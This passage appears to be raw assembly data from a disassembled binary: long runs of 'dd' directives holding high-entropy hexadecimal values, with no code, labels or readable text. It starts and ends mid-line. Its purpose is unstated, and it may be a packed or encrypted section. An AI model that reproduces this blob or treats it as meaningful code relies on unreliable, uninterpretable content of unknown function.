0F571ACF7h, 0C00C14D0h, 180F6D12h, 466025Fh dd 27CDE921h, 240E3E44h, 0C057A303h, 355E2FE3h, 39CBF814h dd 61826B7Eh, 3373E94Bh, 5251A1DFh, 0D3E9EA88h, 305A032Bh dd 0F3D059EEh, 0EB38805Ah, 66E30778h, 126DB652h, 0E9FCED31h dd 0E2429FBBh, 3FFF655Dh, 5B40CA2Dh, 98BA2CD2h, 2B56CE4Ah dd 77A7101h, 0C2F30131h, 0A9088FC1h, 5D37E1ABh, 0D7FCA62Eh dd 2954AF01h, 0BC2B3621h, 91FC346Dh, 310481FAh, 51270A4Eh dd 188E027Dh, 5EE2A313h, 360B1081h, 71BE0706h, 55217F5Dh dd 4AED6850h, 0A46AF731h, 806983FDh, 804C5535h, 24C2C120h dd 59F6F529h, 0A0ED6E87h, 8E65BF97h, 0AD2BE1BBh, 0FB22770Ch dd 0BD0136F8h, 0D0C37630h, 3A1F282Dh, 578E0B9Eh, 0AAB2B93Eh dd 75073F10h, 9E911A0h, 74B73970h, 3BE45060h, 3F6270BCh dd 395909D8h, 0BB4217ACh, 0D9F600F8h, 4505E180h, 2CC3890Fh dd 52330ABDh, 93BAD8FBh, 534C38F8h, 341F00B9h, 866813DAh dd 0E96AE173h, 0CFBB97D9h, 0C9FD2AFEh, 3AB96638h, 5E26636Ch dd 0C524CE52h, 0E2D1F71Ah, 950092AAh, 390A01EBh, 58290925h dd 5ADD17DCh, 0FE2F48Dh, 2D318B3Fh, 10A73AAEh, 0BA2C65E9h dd 1E998C31h, 4A5F91A5h, 138D61FFh, 5F5CA32Ah, 500C1FCh dd 0F7E7A68h, 9BBCF029h, 7DEE1900h, 18B4C981h, 0C2078376h dd 8E13FA72h, 84EE058Fh, 0EC1EEAFAh, 2751DAEDh, 0CF52C649h dd 4B8AF12Ah, 2F486812h, 21270EA3h, 30D1CD69h, 84976F24h dd 0FCBAAC66h, 56E9B046h, 8388B4C1h, 6A5B14DBh, 0B9D4D9h dd 4E76F180h, 0B62FBC20h, 0EDF34E3Eh, 86EE7513h, 0F97E0C41h dd 4033279Dh, 7C5159C7h, 860B1268h, 8478B972h, 57099C77h dd 0F7CF9B06h, 0B0E1614Fh, 5CC1DD29h, 2B57DF68h, 0BF6A530h dd 0B42A501Fh, 1A6F0526h, 0ACF4E955h, 5CF250BEh, 0F8473240h dd 0E2C05B38h, 0C556CFA3h, 7796EE4Dh, 0FCC52042h, 2020587Dh dd 45285B5Bh, 98C57DD2h, 0C76BB10Eh, 0F7AE5210h, 0B5E7A92Eh dd 52738CFAh, 0A25AE92Ch, 0D1E6DDA5h, 67B2BF1Fh, 0F40E1F13h dd 5E43D48h, 0DD229A09h, 11DB4212h, 855C67CBh, 0E31FECE9h dd 32480214h, 0D95770AEh, 22ED8F95h, 0F93C5825h, 7C08415Ch dd 12E07CCFh, 0B4E97C13h, 984FE3AFh, 717D3F52h, 1CCF906Ah dd 6E9582C5h, 25D4108Ch, 809A765Bh, 0AEC280F9h, 0E969152Ch dd 0EA86A7E2h, 7D402442h, 52707B56h, 6DE616BAh, 1F6D097Bh dd 0CDF62A8h, 0E745F110h, 882D0F09h, 0B9097402h, 0EC037DFAh dd 68E80310h, 0E9FD291Fh, 0E9D7BEB4h, 0FEC107B5h, 672FFEC9h dd 0DA66B73Ah, 23F58093h, 89735A1Fh, 0D0B5A4B8h, 2034B39h dd 0F3295F5Eh, 0A5DC095Dh, 0B3AF5DD1h, 87ACD65Ch, 8C8FC3A1h dd 50C44270h, 0CE70035h, 0DD0D47AAh, 141C282Ch, 5F398A0Fh dd 27A100ACh, 0D1130E50h, 0E188AEE7h, 21914DE9h, 3229BE4Ah dd 253F1261h, 0EEC4EAB8h, 4EA8FCAFh, 0C261B9A1h, 2C178529h dd 0D6B8E31Eh, 4FDC9BBEh, 5183136h, 33985F51h, 0DAD8201h dd 0FB951B58h, 0D1BE0040h, 0E949AD12h, 0F7C57F27h, 71E81E19h dd 70E33BA8h, 2C53FB5Eh, 0B1948707h, 83F089E2h, 5B478576h dd 9371EB20h, 8105D07Eh, 61D5795Fh, 2E0F2838h, 0B6A406ECh dd 3A686658h, 78591C1Bh, 5242B709h, 32967FE5h, 4FA2925h dd 6DEAD3h, 2A7068B8h, 0BB5314C9h, 340BBB74h, 0EF80DBF7h dd 1A613638h, 3E4F50BFh, 922E943h, 76D4EB4Fh, 738C2D80h dd 0D9794C07h, 88DC5E26h, 5205086Bh, 4BB15A5Bh, 0E303466Bh dd 0E6779156h, 77C91B2Eh, 53C1FFA5h, 3FAF425Eh, 0DD59E149h dd 79768ACh, 5D2EF9B9h, 40BE09A4h, 0F4627E75h, 724E91Fh dd 56F34A3h, 27FB7BC7h, 27F48AD9h, 0ACF24A18h, 22E1D9F7h dd 6DF904C2h, 0BCBF6B77h, 22161CD5h, 0EA9CDD2Dh, 0D378E918h dd 0AA1EE3Dh, 3169207Ah, 0E14C1680h, 17824505h, 9752EAF5h dd 241486EEh, 0D49DD8EAh, 0E05D7A1Ch, 0B5FEFA54h, 8962D4D4h dd 0EE54042Ch, 4E891A4h, 0C11F694Ch, 4400FFE6h, 194E3439h dd 93829729h, 0BDD411D4h, 71376380h, 0EEEAC14Ah, 0B653FE42h dd 7E35016Bh, 3B384D5Eh dd 0B93D41AAh, 7A29554Ch, 70094012h, 0CB40F707h, 7825561Eh dd 0DB407FA3h, 94CB459Fh, 5D48305Eh, 0F699551h, 9057A55h dd 8DF65A54h, 8E8B5089h, 146B885h, 4D94AAFh, 3A4E65E0h dd 0ABB4E3B8h, 50921A0Bh, 0B7BA1DB6h, 1CC822Ah, 42565AD5h dd 6C3B312Ch, 1E215835h, 0D209D934h, 6A3BE1A8h, 0A938D201h dd 0B12AA64Ch, 55A72A38h, 0ED52134Bh, 0C2FDD2CAh, 2DBCE90Dh dd 33D0F812h, 2F460D3Dh, 7F9E0B14h, 9452B06h, 8B5E1EF8h dd 403C564Ch, 90DD955Fh, 0BADAE904h, 0AC2AF9DCh, 0C8BEB433h dd 0C12F5D62h, 52A4F4FEh, 12C395C0h, 0E93D7A05h, 89D19F0Fh dd 0EE3916E3h, 1C8F2086h, 7F685002h, 0E5371F18h, 782D8102h dd 6007F25Fh, 0ED621305h, 4288651h, 87BAFC58h, 0F58BCC8Ah dd 768B8F45h, 4BB3102Fh, 2EA52534h, 0FDCD2BF7h, 0E80A754Ch dd 0E2072D7Ch, 93329D0Bh, 0D2FBECC5h, 0B16A56D2h, 18B71A40h dd 0E2AB16D3h, 8AAB4B53h, 48CB9707h, 5FA1615Bh, 9480787Fh dd 899E78AFh, 0D7C9611Fh, 63087C64h, 105896F8h, 3B272643h dd 1205CD12h, 6105A154h, 0CAFF8343h, 24AECBBDh, 0A8BB40FDh dd 97125AA9h, 15D9B6AEh, 12C9F061h, 9FE36ACEh, 12C0C17h dd 763594FBh, 0BD077E20h, 75D90244h, 0E2334818h, 0C8B2FE5Ah dd 23BB3B5h, 0A7D07B8h, 0B729C138h, 0BD5812D8h, 0E9896DD6h dd 546FE21Dh, 0F39A7B7Ah, 50374857h, 287CE270h, 80063558h dd 82DEE224h, 51DDD0D7h, 931FD78h, 3F0D5FAh, 0DF0B0B9Dh dd 8A0DE990h, 0D6873EA8h, 2DBE47F4h, 0C9465915h, 24567652h dd 0D9E704D6h, 4F4FEFEh, 0DDD44F14h, 53404281h, 729FFE0Bh dd 3DC96C75h, 0E3DA9168h, 0B1B2760h, 1723F56Ch, 591665A5h dd 6B269C0h, 700B5302h, 4A0F2911h, 58800A2Ch, 0DBB17A2Dh dd 0C3012F54h, 6861A6F9h, 0E73A1ABFh, 0F966CB7Ch, 0C53217F3h dd 1571BF49h, 5A03BF25h, 2B02CFB1h, 680948E9h, 57593662h dd 0A34E7B80h, 95E2C12Ah, 21DF4282h, 8791E901h, 12CAF77Eh dd 62BF5D5Ch, 425769A5h, 4CFC4EC0h, 611292D3h, 5835C3h dd 0F4542E3Fh, 0DA00B91Ch, 0F761B141h, 250F49D1h, 7E54AE85h dd 281DE181h, 8AF04355h, 0B8E74A46h, 4FA090FDh, 0BFD216B2h dd 74A87D85h, 9057582Ch, 3B5B3B27h, 0D210CC7Ah, 1C7A3BBh dd 6D90B951h, 9E702D54h, 0A17F16B7h, 0AF460347h, 0FC03312h dd 3FF58B87h, 0DFE175BCh, 0EFB32BBAh, 4825CC4Bh, 0EF2F7541h dd 0EC807603h, 0B944E1DFh, 68BCCC6Fh, 713EA72Dh, 959ACC3h dd 9A011756h, 20540E38h, 6D09EDD0h, 0F852B361h, 6AF0ADh dd 2949921Ah, 2AD3E9E8h, 80B25995h, 515AF030h, 802E2EB1h dd 832079C1h, 3C083EF3h, 0F322AD62h, 0DF097625h, 5A24257Ah dd 0B6601C37h, 0B7EE8073h, 620A5150h, 0F5E011E9h, 3EC97B25h dd 27CF281Fh, 56EECD5h, 0CC5561C3h, 83D4EB03h, 2CF90812h dd 95A2299Fh, 874CB016h, 5FD3CE2Fh, 126971A5h, 31DFC1FEh dd 42042AC3h, 2D00BD9Dh, 6B9E7975h, 89F36595h, 65DCEB8Eh dd 9782246Fh, 55DE1992h, 0F05874F4h, 62A39F22h, 1B53B6Dh dd 0D685375h, 0B3B23E1Dh, 2BE6EED2h, 7A5D7192h, 6F92A1Fh dd 0D8285A01h, 60A5045Bh, 1B65C7A6h, 1944B872h, 1071CE3h dd 80B27FDAh, 40478F66h, 835E18FEh, 24573D5Dh, 0B0FA7D52h dd 42B770ABh, 90F9F7D5h, 57E93CE7h, 6068C618h, 0E87B3E62h dd 0D3FE6954h, 2E5E3DFh, 12EFF74Dh, 0AE610663h, 38B80C21h dd 418940E5h, 710ED8F7h, 2560560Fh, 6E98C581h, 2C44092Eh dd 0F73C3F09h, 0E6499B44h, 0AF277D70h, 8B72511Fh, 63EAF545h dd 2F26FC5Dh, 7A09DE54h, 0E6BBE8C4h, 20F62723h, 0C2CCABF5h dd 580C041Bh, 0F14109C0h, 5FF1B05Fh, 0D08D8478h, 0C0467365h dd 8E9A2850h, 22EA7A4Ah, 0C6F62E72h, 0A539D525h, 252869FEh dd 27517652h, 82C655h, 0D02028B8h, 7230050Fh, 0C121B62Eh dd 0DF663D02h, 1EB6E03Ah, 6C75091Ah, 0C9F54CE9h, 133B57CFh dd 4BA0BFB4h, 0BBBC4D25h, 5A048548h, 0AE41EA68h, 0E24450CCh dd 0E9120888h, 310B2527h, 6FA859D9h, 0DAF107C9h, 2D6E52CBh dd 305CEF68h, 0E4B6E9E1h, 348EA474h, 0EA90BE52h, 0C083AEBCh dd 64CF03E2h, 0C517ABA2h, 0BDF0DFB0h, 2CA7DB63h, 0E917AE10h dd 0C6C86584h, 9AA7F256h, 77B904ECh, 0AA747343h, 0CA5AE6A8h dd 2FB557D3h, 108AF7C6h, 0FDD3096h, 2949B889h, 88627E29h dd 0F122410Bh, 8F5C0B96h, 0BB763283h, 8AAECE4Eh, 0D8788472h dd 0D920BFCh, 6E3DE632h, 0C25CE8FDh, 0DC61BFB4h, 0EC3BFC44h dd 4A89DEF1h, 8B98F513h, 578277E1h, 0F7729DFCh, 7C80BC48h dd 62AAB625h, 6231802Bh, 35595135h, 0FE326647h, 0BDCA70B4h dd 0F868E781h, 0C6312E08h, 0B600F526h, 882553B5h, 244C5EF7h dd 91BA64C3h, 7AF828F5h, 86683802h, 58C796Ah, 0A8E4E9D1h dd 460D009Ch, 0F792768h, 86222A82h, 0C5E831C1h, 0C0B0C83h dd 2FEEF255h, 0FBDEDA1Fh, 0EBFD1619h, 44C7B3Dh, 5341805Bh dd 34CB652h, 6092455Fh, 9BD6736h, 995B5F7Ch, 29F68984h dd 0B4D9ECBBh, 556ECA4h, 0AF02E968h, 4E01EA05h, 0D420DF8Fh dd 783C63EDh, 0E95B5416h, 43049207h, 0A0A95D65h, 56573E9Ah dd 0E7E90602h, 0F779FD24h, 28EADAEBh, 49A1FB7Dh, 4A2E0202h dd 655C0009h, 0F67DDE73h, 4F9561ACh, 4FEBA1Bh, 7738EF8h dd 59C94DA2h, 57889B01h, 8B82408h, 0C424A56Fh, 73662802h dd 0A0CDFC24h, 9592508h, 0FFF123C0h, 1F5B7F16h, 0D25497EAh dd 0F66629C0h, 0C6006590h, 0B8338456h, 23C21D9h, 5F613539h dd 1C02354h, 0F4656CE9h, 9D074BA6h, 77C43141h, 9E107A14h dd 77682D0Eh, 7EFE3889h, 1B8357C9h, 0E6EF2EABh, 44F81101h dd 5D710CA4h, 0C63152A0h, 0ADEFE5Eh, 0CB8DE85Ah, 0B87CE119h dd 5C9E4120h, 0D520020Ah, 2CFD3FA2h, 4003AE8Ch, 392E0D3Dh dd 3501E176h, 233B7C52h, 52A4D5FFh, 0CD2704F3h, 0EA297E11h dd 580149D8h, 4C018BD0h, 0F708AB23h, 44DC20DDh, 80437F3Fh dd 0B62DE0D1h, 97273A6Ch, 82491356h, 5899E9D9h, 0C7812D8Fh dd 0F66F36DFh, 67197C1h, 0C7D85569h, 610E7E4Fh, 66712B68h dd 954A9063h, 46EBC0DCh, 12C603EBh, 178411Ch, 47784B4h dd 9089E908h, 6EF480EBh, 55E1EDB0h, 0B3AB9Bh, 2402A810h dd 0B508A289h, 5A742F45h, 4397509Eh, 0F23B6BA1h, 49ACD3A2h dd 0CCBDE90Bh, 40858656h, 0DA000F86h, 0F3831454h, 0BFDE5689h dd 3E85BB07h, 0F901F78Ah, 0CA803646h, 0C64B61BEh, 24863CE0h dd 8064821h, 51015753h, 0C8885BB1h, 0BD2DC3E8h, 97A83256h dd 0D01EBE0Ah, 0FB03BB02h, 518B83Eh, 1B19EA18h, 0E800FF01h dd 52C23160h, 0C8559C29h, 3059170Ch, 0F29FE95Fh, 0FCBA66C0h dd 2E6FAD3Eh, 849E2C1h, 53000E0Ch, 8D4AA868h, 96E9DF73h dd 5DA443D1h, 0B3C05255h, 919DFEDCh, 906A57A3h, 8F341A8Dh dd 0CB814E00h, 72C81B47h, 0A8DB5EF7h, 4F415BBDh, 419A39FAh dd 160AA020h, 0A8BE6DC6h, 3082A4A6h, 2A22FF25h, 3E796D4Ch dd 0A001C188h, 99D8098Ah, 14DECF43h, 79D09889h, 9D6988CCh dd 5CB5614h, 45712B54h, 0F726DE82h, 0BE024067h, 41A66456h dd 0FFF9441Bh, 86F155C6h, 35ADE9C1h, 0CB08D06Fh, 0C93E690Ah dd 0F5882A5Dh, 0F553C1B7h, 0BD1115E4h, 0A568DE98h, 5BD87F5Ch dd 0A85E588Bh, 56A01039h, 7E2D116h, 9130E4Bh, 1C604CDFh dd 0DD56D589h, 0AFF056EEh dd 8DCA24D3h, 9909D716h, 8E3A0466h, 5029B7FFh, 9395DF01h dd 0EF81660h, 0AF52259Eh, 5C3534C0h, 0BA3C1AA9h, 0E45F0B39h dd 0C9B2B400h, 0C5E98D02h, 51590E78h, 5F59C94Dh, 5D5AC4F9h dd 5E4ABE78h, 0A262A0CAh, 5041098h, 47EDAB5h, 9F91A98h dd 257F8058h, 29B6F89h, 72A7350Ch, 25C32B74h, 8EC8A2B8h dd 42E0D14Eh, 8F20496Ah, 4CAEFD5Ah, 7EC44B50h, 4B3847FEh dd 536F68BDh, 61E9A3C0h, 0D9F6A9ABh, 7B88FBF0h, 34E64ADAh dd 62A2010Fh, 0F80EC529h, 1CDC48A1h, 0EA98FD2Fh, 0EC4F8850h dd 0D24179FCh, 75F6A32Bh, 0FEB64916h, 68EE60FFh, 0B4023B8Bh dd 92E95F1Fh, 8DBADEAEh, 7BF05770h, 8403DBCh, 68591F5Ah dd 617C2FE0h, 14D72958h, 35DB91E9h, 460E8C95h, 3E19744Ah dd 2EE90C21h, 432FCE7Dh, 26B94CC1h, 145AF057h, 2DBF2FE1h dd 9A32A09h, 205768C9h, 60055DF9h, 78D4121Dh, 0EBB0BA2Dh dd 80214BE9h, 7E3EBD56h, 0A2E1B2Fh, 8F059AF8h, 8BAAA222h dd 11EE10DEh, 5F4E89A2h, 0BC83979Ch, 42E6165h, 27824D0Ch dd 813DC56Fh, 203CE08Eh, 0CBA8E8AEh, 7D82C5FEh, 26B8F3C5h dd 5E0862D4h, 17E92513h, 94162AB7h, 34F2AABh, 0FB0F462Dh dd 2C61F028h, 0E1175A88h, 0CA070765h, 9802411h, 98D7FD19h dd 0AA5067FFh, 9CB10296h, 0E87E7745h, 0DC15A10Bh, 1EE90BD4h dd 0E62514DEh, 275C7C6Ah, 3975D0F6h, 0EA651A2Ch, 8871A32Ah dd 0CDE00814h, 4966804h, 8251DABBh, 77518D68h, 3F855199h dd 0B4C525D1h, 83C3717Eh, 730B3FEEh, 81A7297Bh, 51EA0108h dd 0B53C48EDh, 2469EF4Eh, 96258938h, 0EEB58DF0h, 717E974Fh dd 0E9F18638h, 4261970h, 8D12F3BFh, 9AA4EF34h, 5860B055h dd 51C25A82h, 255F189h, 75015E59h, 0C5FF2D09h, 0E2E9046Bh dd 0F2F3BEF1h, 7C7C51CBh, 9F64DE58h, 96BD89FBh, 96B4CA0Dh dd 6420177Dh, 4E536001h, 575F8E0Fh, 0E9965C80h, 32FB6FC6h dd 66C33122h, 9A0B9077h, 0B873D213h, 218C10CEh, 8AD4B24h dd 5FAD3AFDh, 0F3140398h, 51D84082h, 685580F7h, 0B844212Ch dd 20B2DC0h, 0E681006Dh, 7CB1D97h, 0F25308E9h, 0FB0104A2h dd 0CDFB1868h, 7C67E090h, 146E5C9Eh, 0D3E084A4h, 0BB4A3214h dd 0E91688CBh, 8B28AAF5h, 327F4E4Ch, 1254FE9Ch, 4D075F25h dd 0BF8DA441h, 18FC3317h, 0D841D2ACh, 3AE9E16Eh, 6F522DEEh dd 4F364B2Ch, 7B7F3A0h, 6C6245D7h, 0F2B9C7D2h, 617A9F32h dd 0A65EFD90h, 0C11B62B7h, 724A2B75h, 124CC5ABh, 0C5DFBF53h dd 97FE8550h, 0CA5D92EAh, 0B60941F1h, 51645902h, 72BD57F4h dd 0B2F83443h, 9BE9BF34h, 46D5CE1Ah, 7232F45Dh, 0E115657h dd 0AB170AB3h, 9F134298h, 2D609A6Ah, 0B28683Dh, 440AB15h dd 2D057AB3h, 78515B84h, 0E4C08C80h, 5FC48008h, 0D229AAFFh dd 76E97F1Ch, 0DAD9B718h, 9071B42h, 60D68C62h, 9F79DD72h dd 0C3F17C52h, 5A607A78h, 0D25F6D28h, 0B8D9806h, 14566483h dd 0BF0D5280h, 7A029D31h, 7E683225h, 0ED394063h, 67F02037h dd 3C765A60h, 763F0760h, 852D029h, 0AF71D14Bh, 85F32F23h dd 48C1680Dh, 7C6F9E1h, 13F94EA5h, 9CDA9B2Ah, 505301DAh dd 0E151A7B4h, 0E9EFE8E5h, 5E81902Fh, 61EE60C2h, 0E89D27D5h dd 7E23F46Ch, 4B5B9792h, 14F10CA0h, 0D1BF1C13h, 2F4DF80Bh dd 0E1FF93DDh, 189568E1h, 2577B7ADh, 0AAFE2914h, 20E1DD5Ah dd 0E9095051h, 5B9DF312h, 0C4BBA6DEh, 0FCE96002h, 6630C180h dd 0D0069A25h, 0EA48782Dh, 0E9C70520h, 33916231h, 0FD2A5BDAh dd 0EB8750F1h, 0FFE2925Eh, 2A52EF80h, 0C6B808D5h, 4226FA0Bh dd 0A098DE7Ch, 0F7F08008h, 4C9A2554h, 0F4F9A1FDh, 68933315h dd 5F2DF07Bh, 50765669h, 4EFBE8Dh, 0E3706968h, 0B13118BEh dd 4A3BA2Eh, 947282Fh, 0AD61EAD1h, 0AE04B47Eh, 0EC97FBB2h dd 565F2758h, 0E0D14126h, 257D7083h, 462519ECh, 3A80774h dd 0C19D02E2h, 0BA067961h, 3D69703Eh, 625BAD43h, 0DFC5559h dd 0FF59539Ah, 38BAADD3h, 905F13BBh, 24113904h, 7C3C10Fh dd 4ED1FB87h, 159D3F0Bh, 1D132051h, 147B36Fh, 54896A93h dd 45267C29h, 0F35F0C40h, 0DD24085h, 0B4B20B0Eh, 48945550h dd 42815164h, 13241A7Bh, 0B3EB8CEh, 1D3D07A0h, 56098805h dd 89D1EABDh, 660162F5h, 69138931h, 6093E0B0h, 10D1833Dh dd 58268743h, 4684D908h, 0F74E36FCh, 0D4A9C9A4h, 96D727CCh dd 0BCE916E7h, 0CBB5EC40h, 7D9BD5FBh, 5220179Eh, 0E42D07F0h dd 331D1405h, 75927B48h, 7833350h, 0FB1152FDh, 0EF61E4A5h dd 4A505763h, 2A1F4164h, 0C195CD04h, 6B61AA12h, 68005378h dd 0C5073B61h, 0DFF75F73h, 45CF49D2h, 9551259Eh, 0BB2D5A52h dd 0F0E984A7h, 548F981h, 0CB87D1F7h, 5CD05882h, 0C54FBC80h dd 0F864814Eh, 8F73AAFh, 4D71373h, 52FDCCFBh, 0E913B604h dd 44AE1FADh, 0BEB03D66h, 1D373B2h, 38E5507Dh, 62EB3B28h dd 6A7D2D4Dh, 0E6565E3Ch, 801EA2FFh, 0A80B34E5h, 0A314E411h dd 5B0B3CD6h, 7942DA9Eh, 25BBCDBh, 7589B1F2h, 25A07637h dd 0B5B0B4D7h, 0F64B1579h, 0CDF75ABDh, 0C8010571h, 0E9C54F59h dd 46474ED3h, 0ABE685C5h, 0A96ECE44h, 2792CBFAh, 8A91817Eh dd 129752C2h, 2FE8F15Ch, 8BA462BEh, 0C55BB078h, 0AAD34DA2h dd 0F2E9AC02h, 24F1D1E3h, 44B3081Dh, 66C573Bh, 0E47F55B9h dd 0C9B820BAh, 9F27C995h, 0BA15007Eh, 285347BDh, 560B0990h dd 0F5C080D6h, 7539ACC1h, 8EF82B0Dh, 1E4588A5h, 0FD15E909h dd 0B70D1CFEh, 1E804C7Ch, 2969D9DEh, 202790E9h, 682D30DDh dd 0A24E30B7h, 0FB1C4A2Ch, 1FE69CD0h, 79F73919h, 1570D625h dd 2B68561Dh, 8BAE4B38h, 0E305E2Fh, 40D6E957h, 0E8B55DABh dd 825678F1h, 0D17913D5h, 8F6A52B2h, 38BE4B0Ah, 1C256875h dd 556981Dh, 2A5B81CFh, 0F7C3C763h, 7C8706Bh, 885B762Ch dd 0B50AA2C5h, 2F7427CAh, 0CC75DB02h, 2D06082Ah, 900ACA78h dd 0AB77A405h, 0E39DE986h, 0D43FF3B1h, 17ED82Fh, 0BE56D901h dd 30982FEFh, 1835E930h, 0C749E34h, 2258B4C0h, 0F15234F7h dd 84BCBCAAh, 99AAAEFEh, 0C243FDD9h, 52647657h, 4668E540h dd 2DE93240h, 6B52F6F3h, 0FEEB4A13h, 30F4C9AEh, 0E0EBFC3h dd 2B414626h, 0AD38181h, 8ED50F2Ch, 0BEA1123Eh, 0AB4F578Ah dd 4D7DE498h, 0F33C1B9Ah, 126B34Ah, 0D0F7585Eh, 93FB3196h dd 0E90812DEh, 7F73B1F6h, 7385BF2Dh, 0BB61E4E9h, 0E628F588h dd 35527C66h, 0BCCAD4BEh, 567C7ABFh, 9C58ECF4h, 3FF13E81h dd 2C212E5Eh, 55479F3Fh, 5C9BD07h, 71EE07D9h, 3FF50AECh dd 0E4503A67h, 1813C007h, 0CE19E960h, 0BA40B59Eh, 4CAF6C23h dd 0CF057B3Fh, 0EF10D21Ah, 2FD4704h, 0AADEFA12h, 15208C4Ch dd 0D134879Fh, 1929639h, 0AB543CB8h, 2416E951h, 0D5975860h dd 4690E51Ch, 0EA6E6F20h, 42E29707h, 2569DD5Eh, 19942F98h dd 1C92A7EFh, 31203C38h, 1D49B30Ch, 0BF226BA6h, 6CFFCABCh dd 29649D83h, 6B352851h, 9F2550A4h, 4F5DAB89h, 303F2469h dd 6BEC6815h, 5D2F2925h, 40172344h, 2322FEEDh, 8D595E30h dd 0D418ABFCh, 7FE93270h, 49DF4AA9h, 5CC80E94h, 4303371Ch dd 8E0F4615h, 0F3FFB49Eh, 0D931C662h, 0D8C60539h, 0EABA7A94h dd 0D629B030h, 99B905Ah, 554F0205h, 1200A856h, 3134E99Eh dd 3D597ECEh, 443D0DF8h, 0D368BF27h, 31FAD2E1h, 1991303Eh dd 0C3198A74h, 195F42Fh dd 575EF5EDh, 0C8F749C4h, 3F5A1EC2h, 6B71B0Bh, 0BDF229F5h dd 4181114Ah, 484DAF6h, 0BB1EF280h, 0B5C5A1FCh, 81F08468h dd 0DB0FCDB2h, 4B87F894h, 6AF192FFh, 0F60A76FCh, 0D10A95DDh dd 0E9090807h, 0BF58504Fh, 492FDCh, 0FE17A685h, 0E581022Dh dd 58E36892h, 82625E5Dh, 63BC6E11h, 85C9AC40h, 508CEF27h dd 4518BE17h, 0DAE00058h, 816E152Ah, 0B44EB1Fh, 410863D3h dd 0CABA3DC9h, 6A097A87h, 9DC2704Ah, 2EE3102Eh, 0CA4E32B2h dd 7E0905C3h, 13FB711Fh, 2A8CF162h, 0BA67AFEh, 224901E9h dd 85D1A96h, 685027C0h, 15DE5B5h, 8FE155BAh, 0BAF2EADh dd 4A5AC490h, 4662857Bh, 9950A57h, 6C9982DDh, 442DA9h dd 5CD66A9Dh, 0EE298004h, 95BBD5E9h, 0BF9613AAh, 683DFA8Bh dd 1EDE73C8h, 727EEF23h, 0DFC28562h, 0E783C0A2h, 57428C7Eh dd 7058DD52h, 8E53B721h, 7A25CD81h, 505EE0F1h, 801EB801h dd 0C529FA0Eh, 0F42F013Dh, 61025689h, 3305C002h, 0D5E846AFh dd 0CD20F72Dh, 72CB075h, 10EC2250h, 0E418720Fh, 9FE5977h dd 8E5C9CE9h, 98385913h, 0DD0A0363h, 0EF1FE945h, 3DEA5338h dd 95103D12h, 4FA87391h, 0EC3FE8A1h, 0C2EC51DDh, 0C2B41957h dd 2BA8FEFDh, 0FC125BDDh, 0C26FA763h, 0C187F87Bh, 2292B2A8h dd 8A08A05Ah, 7F313440h, 0E04325F7h, 0A0120F66h, 0B6FAFEA9h dd 68682D7Ch, 7DCEFECh, 106F62Ch, 8548EC7h, 4F25334Eh dd 0EBFF1A0Fh, 72096B9Ah, 136C1D01h, 31299EDBh, 9DD5AB6Eh dd 12D3C87Fh, 0EB885580h, 0CC681259h, 155F4435h, 0B3A2AF10h dd 985D5CC9h, 62A2688Fh, 2323574h, 34CA750Bh, 75116A5Dh dd 0E8BF54DAh, 82C5ADB1h, 27C2507Dh, 3271E83Eh, 7F095B12h dd 2D086506h, 4611A2DDh, 84000997h, 12390258h, 385A99F6h dd 5D653ECh, 8988BA0Bh, 0EC92C98h, 5E7D7A3Fh, 75044410h dd 0BB6A2E5Bh, 0E52192F1h, 4C290A01h, 985908E8h, 0F71D826Ch dd 0E932D3C4h, 0FD5A7504h, 12658E89h, 17100724h, 0AF30944Bh dd 82E24751h, 0F7220A68h, 0F7A74A45h, 31AE0682h, 42827157h dd 1DDEDBF6h, 17F2662h, 3A51C888h, 9BB0A0C5h, 0BEDC401Eh dd 1C2E7F09h, 5AD8007Eh, 414B3Dh, 5954EB0Dh, 907D0509h dd 0E97925FAh, 0D6B5B79Ah, 0BF52E592h, 0AE2B757Dh, 0B97D853h dd 62AD2B66h, 39492CBh, 0C146801h, 0E773F7C2h, 0E0B5E989h dd 1E440C88h, 6488830Fh, 8040F17h, 0A2FB4BE5h, 79BE01D8h dd 31B14D05h, 1853A97Ah, 0BA249021h, 145B702Ch, 9DD2F778h dd 0C478BC4Fh, 12AE0768h, 272EEB4Bh, 0E8BADA61h, 7042F149h dd 9B91D1B5h, 710FD727h, 0D5160DA5h, 680F0313h, 0D9276A73h dd 0B72650D9h, 20F32FD4h, 9F90385Ah, 109944D1h, 7BDF1B9Fh dd 0F2CE75BEh, 0EF92DFD5h, 0E0C0E945h, 18029B04h, 2F02010Bh dd 4009E540h, 96EE35BEh, 4D7DC22Dh, 48C5DD1Ah, 0E8B59044h dd 0ED54C861h, 9A91F2BEh, 68B0DD08h, 30C3A718h, 0C32FC580h dd 8AB924ECh, 0C4024695h, 0A356098h, 0E3BB676Ah, 0E32FC50Dh dd 0F8B97A89h, 6196F7A4h, 7E210368h, 8C9F00B3h, 5ED16DF6h dd 133B4341h, 347EE6B5h, 81FB87ADh, 0B8EB89FFh, 69DA74F6h dd 0DDC38750h, 0E3D4EC27h, 95284DF0h, 0F16A937Ch, 0E619E70Bh dd 91EA4C24h, 5CE9CD05h, 1214BD3Bh, 8AB2F2D3h, 99703F89h dd 77FD2C2Fh, 0CBBE3014h, 2E138D96h, 2D40B7EBh, 20D0E4AFh dd 8700A655h, 0D2F681EEh, 0EC32E26Bh, 663412CEh, 1A01FED8h dd 270A6C93h, 0A01A93Fh, 885A6AE9h, 7E1298A6h, 384ED1BCh dd 3427E9FCh, 92FE4B7Fh, 1C806C67h, 8E6D4833h, 0E3B5D6E9h dd 13BBF95Ah, 71FEA446h, 31E78ABAh, 45ED60F6h, 23ED775Eh dd 13171A9Dh, 688081DFh, 0A0236DFCh, 748B987Ch, 0C6813B30h dd 0DAC94FBCh, 502D017Dh, 31685A7Eh, 0C571780Ch, 4488DEFAh dd 0C83013F0h, 0ECF10D05h, 0D123E0Dh, 23D28C00h, 904D0FDDh dd 0BFC2881Ah, 4A6576B5h, 1801F826h, 0B918F451h, 0CB5728A3h dd 7DC425F7h, 0AC535C56h, 0A58044h, 7A0997B8h, 4A5AF47Bh dd 0D363F486h, 5FA20995h, 65692566h, 541C7537h, 365800E9h dd 0F2CAB708h, 604FF955h, 2EDBBF57h, 4C418648h, 72245E8Dh dd 0D8EA0FD4h, 0A7487AFCh, 2A12DE3Eh, 0D4BD7280h, 12512F58h dd 8902BBF6h, 5D651B31h, 2D88EBCBh, 0F6970663h, 0AA321624h dd 858D98h, 812C8274h, 0ED271ECBh, 0D3F7281Ah, 81805710h dd 7C8B0F50h, 0E657325Eh, 0AD597A07h, 3F301C98h, 0A7D99D7Fh dd 6B95540h, 80174F4Ch, 49422800h, 8C0F1609h, 42895592h dd 